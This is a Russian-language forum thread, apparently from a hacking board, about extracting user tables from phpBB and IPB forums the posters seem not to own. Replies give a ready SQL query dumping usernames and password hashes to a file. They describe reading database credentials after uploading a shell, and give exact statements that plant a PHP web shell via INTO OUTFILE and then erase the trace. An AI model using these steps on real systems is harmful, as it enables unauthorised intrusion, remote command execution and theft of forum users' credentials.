идем в SQL Management->mySQL Toolbox внизу в окне можно выполнять sql запросы.

У некоторых там есть и бэкап БД где-то внизу...

пасиба....
счас посматрю...

Такой же вопрос, только форум phpbb. Конкретно нужна таблица phpbb_users. Есть пароль одного из админов, могу заходить в админский раздел. При попытке сделать копию БД, частично копирует, потом пишет:
SQL Error : 2013 Lost connection to MySQL server during query
SELECT * FROM phpbb_posts
и всё, видимо, битая таблица (при этом структуру БД копировать можно, а толку?). Сжатие в gzip не работает (сервер не отвечает). Если дописать phpbb_users как отдельную таблицу, то тоже не копирует, т. к. должен её прицеплять в конец, а затыкается раньше (SQL Error...).
Версия форума 2.0.11. Кто-нибудь посоветовать что-то может?

Если знаешь полный путь слей её в файл командой
SELECT username,user_password INTO OUTFILE 'полный путь до файла' FROM phpbb_users
При условии что можешь выполнять SQL команды

Если речь идёт о форумах IPB и есть возможность залить шелл, то заливаешь его, потом смотришь в корне форума в файле conf_global.php имя юзера и пароль БД, потом заливаешь урезанный PHPMyadmin от rst.void.ru, заходишь туда, вводишь логин и пасс и ты в БД и делай, что хочешь.
Про репу не забываем, если хоть чем-то помог ;-)

если конкретно для ipb то шел легко заливается командами (если хватит прав естессно)

UPDATE ibf_members SET name='<? passthru("$cmd"); ?>'WHERE id='0';

SELECT name FROM `ibf_members` WHERE id='0' INTO OUTFILE '/PATH_TO_FORUM/uploads/shell.php';

потом прибираемся за собой
UPDATE ibf_members SET name='Guest'WHERE id='0';

и ищем наш шел в uploads

gzip отключи и будет тебе счастье в виде *.sql (вроде-бы)